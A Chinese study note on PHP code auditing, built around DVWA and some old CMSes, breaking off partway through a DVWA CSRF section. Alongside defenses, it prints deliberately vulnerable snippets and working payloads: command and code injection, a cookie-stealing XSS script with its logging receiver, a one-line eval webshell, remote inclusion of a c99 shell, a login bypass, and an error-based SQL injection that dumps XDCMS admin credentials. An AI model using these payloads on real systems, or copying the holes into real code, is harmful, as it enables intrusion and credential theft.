环境及工具

环境配置

  • PHPStudy

    • PHP 5.2.17nts
  • DVWA

搭建好DVWA后开始学习代码审计

编写工具

  • NotePad++

  • PHPStorm

常用调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
$a = array("orange", "apple","peach");
// 这是一个单行注释
// 这是一个单行注释
// 这是一个单行注释
/*
这个是多行注释


这个是多行注释

这个是多行注释

*/
/* exit 演示
echo $moon= "moon";
exit();
echo $sec="sec";
*/
//echo $moon;
//print $moon;


//print_r ($a);

//var_dump($a);
//var_dump($moon);
//debug_zval_dump($a);


//单引号跟双引号的区别
//
//$str="moon";
////echo "$str";
//echo $str;
//
//
//var_dump($a);
//var_dump($str);

//echo $moon = "moon";
//exit();
//echo $sec="sec";

$str="moon";
echo "$str";
echo '$str';


?>

调试函数

  • echo

    就是最简单的输出变量的方法

  • print_r

    主要用于输出数组

  • var_dump

    就是详细输出,包括变量的值以及变量的数据类型

  • var_export(不常用)

    输出或返回一个变量的字符串表示

    1
    var_export ( mixed $expression , bool $return = false ) : mixed
    • 参数
      • expression 想要输出的变量名。
      • return 此参数为 true 时,var_export() 将返回一个变量,而不是输出它
  • debug_zval_dump
    转储内部zval结构的字符串表示形式以输出

    官方解释是这样

    没怎么看懂

    直接看个官方例子

    1
    2
    3
    4
    5
    6
    7
    8

    <?php
    $var1 = 'Hello';
    $var1 .= ' World';
    $var2 = $var1;

    debug_zval_dump($var1);
    ?>

    输出string(11) "Hello World" refcount(3)

    感觉好像貌似是输出变量的类型,长度,值和refcount(引用计数)

    参考文章

    难怪不常用

  • exit

    顾名思义 退出函数

    可用于终止函数运行

    1
    2
    3
    4
    <?php
    echo $moon = "moon";
    exit();
    echo $sec="sec";

    输出:moon

    如果没有exit()函数,则会输出moonsec

单引号与双引号

奇葩的PHP

1
2
3
4
<?php
$str="moon";
echo "$str";
echo '$str';

输出:moon$str

"$变量"会正常执行

然而 '$变量'就会被当作字符串

★超全局变量

超全局变量是在全部作用域中始终可用的内置变量

超全局变量列表如下:

  • $GLOBALS —— 引用全局作用域中可用的全部变量
  • $_SERVER —— 服务器和执行环境信息
  • $_REQUEST —— HTTP Request变量
  • $_POST —— HTTP POST变量
  • $_GET —— HTTP GET变量
  • $_FILES —— HTTP 文件上传变量
  • $_ENV —— 环境变量
  • $_COOKIE —— HTTP Cookies
  • $_SESSION —— Session变量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
/**
* $GLOBALS例子
*/

$moon="1";
echo $GLOBALS['moon'];


function test(){
echo $moon="2";
echo $GLOBALS['moon'];
}

$moon="1";
test();

/**
* 其他例子
*/
print_r($_SERVER); //输出服务器和执行环境信息
print_r($_GET); //输出所有GET方式的变量及其值
print_r($_POST); //输出所有POST方式的变量及其值
print_r($_FILES); //输出上传文件的变量及其值
print_r($_COOKIE); //输出所有的cookie及其值
print_r($_SESSION); //输出所有的session及其值
print_r($_REQUEST); //输出cookie get post 等所有HTTP相关的变量及其值
print_r($_ENV); //输出环境变量

★命令注入

常见函数

  • system ( string $command [, int &$return_var ] )

    1
    2
    3
    4
    5
    6
    <?php
    header('Content-Type: text/html; charset=gbk2312');
    $action = $_GET['cmd'];
    echo "<pre>";
    system($action);
    echo "<pre/>";

    浏览器访问url?cmd=ipconfig

    就能打印出ipconfig信息到浏览器上

  • exec ( string $command [, array &$output [, int &$return_var ]] )

    1
    2
    3
    4
    5
    6
     <?php
    header('Content-Type: text/html; charset=gbk2312');
    $action = $_GET['cmd'];
    echo "<pre>";
    echo exec($action);
    echo "<pre/>";

    也同样可以执行

  • passthru (string command, int &return_var)

    1
    2
    3
    4
    5
    6
     <?php
    header('Content-Type: text/html; charset=gbk2312');
    $action = $_GET['cmd'];
    echo "<pre>";
    echo passthru($action);
    echo "<pre/>";

    同样执行

  • shell_exec (string command)

    1
    2
    3
    4
    5
    6
     <?php
    header('Content-Type: text/html; charset=gbk2312');
    $action = $_GET['cmd'];
    echo "<pre>";
    echo shell_exec($action);
    echo "<pre/>";
  • 反引号``

    1
    2
    3
    4
    5
    6
     <?php
    header('Content-Type: text/html; charset=gbk2312');
    $action = $_GET['cmd'];
    echo "<pre>";
    echo `$action`;
    echo "<pre/>";
  • popen ( string $command , string $mode )

    1
    2
    3
    4
    5
    6
    7
     <?php
    header('Content-Type: text/html; charset=gbk2312');
    $action = $_GET['cmd'];
    echo "<pre>";
    echo popen($action,'r');

    echo "<pre/>";

    该方法略有不同,本意是打开进程文件指针

    参数:

    • r: 只读
    • w: 只写 (打开并清空已有文件或创建一个新文件

    输出结果: Resource id #2

    可以通过这个结果来判断命令是否执行成功

  • proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

    一个php函数,执行一个命令,并且打开用来输入/输出的文件指针。 说白了就是可以操作执行服务器命令行

    windows系统下不可用

    执行结果类似

  • pcntl_exec ( string $path [, array $args [, array $envs ]] )
    在当前进程空间执行指定程序

    参数:

    • path必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)。 更多的信息请查看您系统的execve(2)手册

    • args是一个要传递给程序的参数的字符串数组。

    • envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值

防御函数

当用户提供的数据传入此函数,使用 escapeshellarg()escapeshellcmd() 来确保用户欺骗系统从而执行任意命令。

  • escapeshellarg ( string $arg )

    可以用到php的安全中,会过滤掉arg中存在的一些特殊字符。在输入的参数中如果包含中文传递给
    escapeshellarg,会被过滤掉。

  • escapeshellcmd ( string $command )

    escapeshellcmd()函数会转义命令中的所有shell元字符来完成工作。这些元字符包括:# & ; ` , | * ? ~ < > ^ ( ) [ ] { } $ \\

如何防御

escapeshellcmd()为例

1
2
3
4
5
6
<?php
header('Content-Type: text/html; charset=gbk2312');
$action=$_GET['cmd'];
echo "<pre>";
echo shell_exec(escapeshellcmd($action));
echo "<pre/>";

正常命令可以正常执行

但是如果有特殊字符则会被过滤,特殊字符不会生效

如果不使用这个函数

payload:

1
echo "aaaaa" >>1.txt

则可本地生成一个1.txt的文档,文档内容是aaaaa

由此就可以通过写入一句话,来get shell

代码执行注入

常见代码执行函数

  • eval

    eval代码执行注入

    1
    2
    3
    4
    5
     <?php
    if (isset($_GET['moon'])){
    $moon=$_GET['moon'];
    eval("\$moon = $moon;");
    }

    url?moon=phpinfo() 就能看到php.ini的信息

  • assert

    assert代码执行注入

    1
    2
    3
    4
    5
     <?php
    if (isset($_GET['moon'])){
    $moon=$_GET['moon'];
    assert("\$moon = $moon;");
    }

    与eval基本类似

  • preg_replace
    当pattern中存在/e模式修饰符,即允许执行代码。

    • pattern在一个参数

      1
      2
      3
      4
       <?php
      echo $regexp = $_GET['reg'];
      $var = '<php>phpinfo()</php>';
      var_dump(preg_replace("/<php>(.*?)$regexp", '\\1', $var));

      payload:?reg=%3C\/php%3E/e

    • replacement 第二个参数

      1
      2
       <?php
      preg_replace("/moon/e",$_GET['moon'],"I love moon");

      payload?moon=phpinfo()

    • preg_replace()第三个参数注射

      1
      2
      <?php
      preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['moon']);

      payload:?moon=[php]phpinfo()[/php]

XSS漏洞

XSS反射型漏洞

它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。

它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。

变量直接输出

1
2
<?php
echo $_GET['xss'];

payload<script>alert(1)</script>

$_SERVER变量参数

  • $_SERVER[‘PHP_SELF’]

    1
    2
     <?php
    echo $_SERVER['PHP_SELF'];

    payloadurl/<script>alert(1)</script>

  • $_SERVER[‘HTTP_USER_AGENT’]

    1
    echo $_SERVER['HTTP_USER_AGENT'];

    输出浏览器版本

    payloaduser-agent添加xss

  • $_SERVER[‘HTTP_REFERER’]

    1
    2
     <?php
    echo $_SERVER['HTTP_REFERER'];

    payload:修改Referer

  • $_SERVER[‘REQUEST_URI’]

    1
    2
    <?php
    echo urldecode($_SERVER['REQUEST_URI']);

    payload:?<script>alert(1)</script>

利用

利用文件xss.php

1
2
3
4
5
6
7
8
9
<?php 
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: '.$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose
?>

获取cookie的payload<script>var i=new Image;i.src="http://127.0.0.1/xss.php?c="%2bdocument.cookie;</script>

还可以用XSS平台 不介绍

XSS存储型漏洞

持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。

审计sql语句
主要是update insert 更新和插入语句
内容输入输出没有被过滤或者过滤不严!

例子:

先创建个表

1
2
3
4
5
6
CREATE TABLE `book` (
`id` int(5) NOT NULL auto_increment,
`title` varchar(32) NOT NULL,
`con` text NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gbk AUTO_INCREMENT=1 ;

留言板.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
mysql_connect('localhost','root','');
mysql_select_db('test');
mysql_query("set names gbk");

if(isset($_POST['submit'])){

$title=$_POST['title'];
$con=$_POST['con'];
$sql="INSERT INTO `book` (`id` ,`title` ,`con`)VALUES (NULL , '$title', '$con');";
if(mysql_query($sql)){
echo "留言成功";
}else{
echo "留言失败";
}

}else{
$sql="select * from book";
if($row=mysql_query($sql)){
while($rows=mysql_fetch_array($row)){
echo $rows['id'].$rows['title'].$rows['con']."<br>";
}
}

}

?>
<html>
<h1>暗月代码审计存储型xss漏洞演示</h1>
<form action="?action=insert" method="post">
标题:<input type="text" name="title"><br>
内容:<textarea name="con"></textarea>
<input type="submit" name="submit" value="提交">
<form>
</html>

存储型XSS会被存到数据库中,用户每次访问的时候都会被XSS,危害性极大

防御

htmlspecialchars函数

预定义的字符:

  • & (和号) 成为 &
  • “ (双引号) 成为 "
  • ‘ (单引号) 成为 '
  • < (小于) 成为 <
  • > (大于) 成为 >
1
echo htmlspecialchars ($rows['id'].$rows['title'].$rows['con'])."<br>";

本地包含与远程包含

PHP有四个包含函数

  • include

  • include_once

  • require

  • require_once

include():当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。

include_once():功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。

require():1.require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
2.使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到该函数时才调用。

require_once():它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

本地包含

受gpc影响

截断%00

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['file'])){
$file=$_GET['file'];
include $file;
//include $file.".php";
}

?>

同目录下建一个test.txt

1
2
<?php
phpinfo();

payload:?file=./test.txt

如果使用了include $file.".php"拼接后缀名的这种方式,可以使用00截断

payload:?file=./test.txt%00

远程包含

需要开启allow_url_fopenallow_url_include

可以使用伪协议

伪协议:
php://filter/read=convert.base64-encode/resource=

在allow_url_include = On 且 PHP >= 5.2.0
php://input

或者直接包含网站中的木马http://c99.in/c99.txt

SQL注入

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

审计语句

  • SELECT

  • DELETE

  • UPDATE

  • INSERT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
mysql_connect('localhost','root','');
mysql_select_db('test');
mysql_query("set names gbk");
echo $id=$_GET['id'];
echo "<hr>";
$sql="select * from book where id='$id'";
//$sql="select * from book where id=$id";
if($row=mysql_query($sql)){
$rows=mysql_fetch_array($row);
var_dump($rows);
}

?>

防御

  • 开启gpc —— PHP解析器就会自动为post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符(认为是php的字符)引起的污染

  • mysql_real_escape_string (已被弃用,使用PDO拓展)

  • addslashes —— 在每个双引号(”)前添加反斜杠

  • 关键字过滤

CSRF

CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。

可以做什么

你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账……造成的问题包括:个人隐私泄露以及财产安全。

现状

CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别爆出CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站),YouTube和百度HI……而现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”

审计

敏感表单是否使用token 验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
mysql_connect('localhost','root','');
mysql_select_db('test');
mysql_query("set names gbk");
if(isset($_POST['sub'])){
$name=$_POST['name'];
$pass=$_POST['pass'];
$sql="INSERT INTO `admin`(`id` ,`name` ,`pass`)VALUES (NULL , '$name', '$pass');";
if($row=mysql_query($sql)){
echo "ok";
}else{
echo "no";
}
}else{
$sql="select * from admin";
if($row=mysql_query($sql)){
while($rows=mysql_fetch_array($row)){
echo "name:{$rows[name]}--pass:{$rows[pass]}<br>";
}
}
}


?>

<form action="" method="post">
name:<input type='text' name="name"><br>
pass:<input type="password" name="pass">
<input type="submit" value="ok" name="sub">
</form>

防御

  1. 验证 HTTP Referer 字段

  2. 在请求地址中添加 token 并验证

  3. 在 HTTP 头中自定义属性并验证

动态函数执行与匿名函数执行

动态函数执行

函数与函数之间的调用,可能会造成的漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

function a(){
echo "a";
}
function b(){
echo "b";
}
function c($c){
echo "c";
$c();
}
c($_GET['c']);

payload:?c=a

输出:ca

也可以传phpinfo

payload:?c=phpinfo

匿名函数执行

匿名函数(Anonymous functions),也叫闭包函数(closures),允许 临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值。

create_function 创建匿名函数

1
2
3
4
5
6
7
<?php
$c=$_GET['c'];
$lambda=create_function('$a,$b','return (strlen($a)-strlen($b)+'."strlen($c));");
//var_dump($lambda);
$array=array('reall long string here,boy','this','midding length','larget');
usort($array,$lambda);
print_r($array);

payload:?c=1));}phpinfo();//

unserialize反序列化

  1. unserialize函数的参数可控

  2. 脚本中存在一个构造函数、析构函数、__wakeup()函数中 有类

  3. 对象中的成员变量的值

反序列化的变量会覆盖类中变量的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class demo{
var $test="moonsec";
function __destruct(){
eval($this->test);
}

}
unserialize($_GET['code']);

/* class demo{
var $test="phpinfo();";
}
$class = new demo();

print_r(serialize($class ));
*/

?>

payload:?code=O:4:"demo":1:{s:4:"test";s:10:"phpinfo();";}

反序列化漏洞需要配合其他漏洞使用

变量覆盖漏洞

变量覆盖漏洞产生的原因有两种:

第一种 是register_globals为on的情况,PHP4默认开启,PHP5以后默认关闭。 PHP5.6以上只能通过$_GET

第二种 是人为注册成为全局变量

全局变量的取值与赋值

1
2
3
4
5
6
7
<?php
//全局变量的取值与赋值
echo $a='a';
echo "<hr>";
echo $GLOBALS['a']="b";
echo "<hr>";
echo $a;

register_globals关闭时

1
2
3
4
5
6
<?php
foreach(array('_GET','_POST') as $requset){
foreach($$requset as $_k =>$_v){
print_r($$_k=$_v);
}
}

payload:?moon=1

文件管理漏洞

PHP 的用于文件管理的函数,如果输入变量可由用户提交,程序中也没有做数据验证,可
能成为高危漏洞

常见函数
copy、rmdir、unlink、delete、fwrite、 chmod、 fgetc、 fgetcsv、 fgets、 fgetss、 file、 file_get_contents 、 fread、 readfile、 ftruncate、 file_put_contents、fputcsv、fputs、fopen

增加 删除 编写 修改

以常见的unlink为例子

1
2
3
4
5
<?php
$file=$_GET['file'];
if(is_file($file)){
unlink($file);
}

payload:?file=./demo.php

这样这个demo.php就被删除了

file_get_contents为例

1
2
3
<?php
$file = $_GET['file'];
echo file_get_contents( $file);

payload:?file=./1.txt

可以读取php源文件等

readfile为例

1
2
3
<?php
$file = $_GET['file'];
echo readfile($file);

也可以读php源代码,并且输出长度

file_put_contents为例

1
2
3
4
<?php
$file = $_GET['file'];
$txt=$_GET['txt'];
file_put_contents($file,$txt);

payload:?file=./demo.php&txt=<?php eval($_POST[CMD]);?>

就可以将一句话写入文件

copy为例

1
2
3
4
<?php
$file = $_GET['file'];
$txt=$_GET['txt'];
copy($file,$txt);

payload:?file=./demo.php&txt=demo2.php

这样就copy了一个demo2.php

fwritefopen为例

1
2
3
<?php
$file = $_GET['file'];
fwrite(fopen($file,"a+"),"<?php phpinfo();?>");

payload:?file=./demo3.php

这样就新建了一个demo3.php 并且写入

文件上传漏洞

审计函数:move_uploaded_file

超全局变量$_FILES

1
2
3
4
5
6
7
<?php
print_r($_FILES);
?>
<form method="post" name="upform" action="" enctype="multipart/form-data">
<input type="file" name="uploadfile">
<input type="submit" value="upload" name="upload"></form>
</body>

tmp是临时上传的路径名

  1. 后缀名是图片格式
  2. 前缀名不能是外部提交的
  3. 上传的目录不可以是获取外部提交的路径
    1.asp;/1213.asp.jpg

防御

  1. 使用白名单方式检测文件后缀
  2. 上传之后按时间能算法生成文件名称
  3. 上传目录脚本文件不可执行
  4. 注意%00 截
  5. Content-Type 验证

CMS后台登录绕过漏洞

这里用duenling_v1.0来学习

安装成功后登录一下,没有问题之后就可以学习了

存在漏洞
admin/login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require '../config.php';
$adminname = $_POST['adminname'];
$adminpass = $_POST['adminpass'];
$adminpass .= "Axphp.com";
$adminpass = md5($adminpass);
echo $adminsql = "select * from axphp_admin where adminname='$adminname' and adminpass='$adminpass'";
$adminery = mysql_query($adminsql, $config);
$adminnum = mysql_num_rows($adminery);
if ($adminnum == "1") {
setcookie("admin", "Y", time() + 3600, '/');
setcookie("admin_name", $adminname, time() + 3600, '/');
header("location:axadmin.php");
} else {
header("location:axphp.php");
}
?>

漏洞语句:
$adminsql = "select * from axphp_admin where adminname='$adminname' and adminpass='$adminpass'";

可以看到这个地方$adminname为可控变量,且前后有单引号,虽然他登录页做了前端的js过滤了一些特殊字符,但是后台没有做任何过滤和检测,密码也没有做任何验证,所以可以直接绕过登录

payload:admin'#密码随意

接下来看admin_pass.php

1
2
3
4
5
6
7
<?php
require 'check.php';
require '../template/axadmin/head.php';
require '../template/axadmin/banner.php';
require '../template/axadmin/admin_pass.php';
require '../template/axadmin/bottom.php'
?>

发现与admin相关的操作都要通过check.php,所以接着看check.php
1
2
3
4
5
6
<?php
error_reporting(0);
isset($_COOKIE['admin'])?$check=$_COOKIE['admin']:$check=null;
isset($_COOKIE['admin_name'])?$admin_user=$_COOKIE['admin_name']:$user=null;
if($check==null){header("Location:../index.php");exit;}
?>

它这个就是对全局变量Cookie做了一个判断,如果为Null,就跳转到index首页进行一个普通用户的登录

但是他没有做任何操作,我们可以通过伪造cookie来完成

访问admin/admin_pass.php抓包

payload:cookie:admin=51nd0re1

通过伪造cookie直接登录后台

漏洞挖掘思路

程序的两大根本:变量和函数

漏洞形成的条件:

  1. 可以控制的变量(一切输入都是有害的)
  2. 变量到达有利用价值的函数(危险函数)

漏洞造成的效果:

  • 漏洞的利用效果取决于最终函数的功能
  • 变量进入什么样的函数就导致什么样的效果

危险函数:
什么样的函数就会导致什么样的漏洞

  • 文件包含:包含漏洞
  • 代码执行:执行任意代码漏洞
  • 命令执行:执行任意命令漏洞
  • 文件系统操作:文件(目录)读写删等漏洞
  • 数据库操作:SQL注入漏洞
  • 数据显示:xss等客服端漏洞

代码审计的本质:
找漏洞==找对应变量与函数

变量跟踪的过程:
通过变量找函数【正向跟踪】

通过函数找变量【逆向跟踪】

实战XDCMS

  • XDcms_v 2.0.8
  • PHP 5.6
  • mysql 8.0.23

先访问进行安装,安装完成之后就可以登录网站后台了后台默认账号密码都是xdcms

先看源码在system/function的global.inc.php

看到接受参数,这些是可控的

1
2
3
$m=safe_replace(safe_html(isset($_GET["m"]))) ? safe_replace(safe_html($_GET["m"])) : "content";
$c=safe_replace(safe_html(isset($_GET["c"]))) ? safe_replace(safe_html($_GET["c"])) : "index";
$f=safe_replace(safe_html(isset($_GET["f"]))) ? safe_replace(safe_html($_GET["f"])) : "init";

然后搜一下安全过滤函数safe_htmlsafe_replace

1
2
3
4
5
6
7
//安全过滤函数
function safe_html($str){
if(empty($str)){return;}
if (preg_match('/\b select\b |\b insert\b | \b update\b | \b and\b | \b in\b | \b on\b | \b left\b |\b joins\b | \b delete\b |\%|\=|\/\*|\*| \b union\b |\.\.\/|\.\/| \b from\b | \b where\b | \b group\b | \binto\b |\bload_file\b
|\boutfile\b/i',$str)){showmsg(C('error'),'-1');}
return htmlspecialchars($str, ENT_COMPAT ,'GB2312');
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//安全过滤函数
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

我们接着看,发现接收参数的时候只对GET进行了过滤,所以POST或cookie就可能存在注入

所以搜一下$_POST并且是位于前端的,发现在modules/member/index.php发现没有被过滤可以利用的点

1
2
3
4
5
6
	public function register_save(){
$username=safe_html($_POST['username']);
$password=$_POST['password'];
$password2=$_POST['password2'];
$fields=$_POST['fields'];
....

在会员注册的地方找到利用点,我们先随便注册一个会员,抓包

1
username=4454564&password=4454564&password2=4454564&fields%5Btruename%5D=4454564&fields%5Bemail%5D=4454564&submit=+%D7%A2+%B2%E1+

并且接着看源码,发现sql语句

1
update c_member set `truename`='lxhacker',`email`='123456' where userid=3

对抓包的内容进行添加单引号等修改,发现了报错,追踪一下query这个function

1
2
3
4
5
6
7
//执行查询
function query($sql){
if(!$res=@mysql_query($sql,$this->ConnStr)){
echo '操作数据库失败'.mysql_error()."<br>sql:{$sql}";
}
return $res;
}

这就可以利用一个报错注入
EXP
456' where userid=8 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e) from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

DVWA

暴力破解不做解释了

Command Injection

Low

先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

可以看到没有做任何的过滤处理,可以直接执行,下面都以whoami为例
Low级别真的太多了,就举个常用例子吧
payload127.0.0.1 && whoami

Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

可以看到用了正则过滤了&&; 黑名单过滤不全,可以用||,|,|,&,这里要说明,在PHP里&&是前面不执行后面就不执行,有截断性,而&是不管前面的命令是否值执行,后面的都执行

payload:127.0.0.1 & whoami

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

增加了黑名单,但是还是有过滤不全,这个黑名单看到过滤了| 但是却没有过滤| (没有空格)
黑名单过滤不全,所以
payload:127.0.0.1|whoami

Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

函数说明:

1
2
3
4
5
checkToken()  进行token验证
stripslashes() 删除反斜杠
explode() 把字符串打散为数组
is_numeric() 判断是否为数字或数字字符串
generateSessionToken(); 生成反CSRF令牌

这样命令注入的漏洞就成功修复了

CSRF

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到没有任何验证,所以先输入123,123
得到http://localhost/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

我们将这个url修改成自己的http://localhost/DVWA/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#

再构造一个html,待用户访问时,密码就已经被修改了

medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
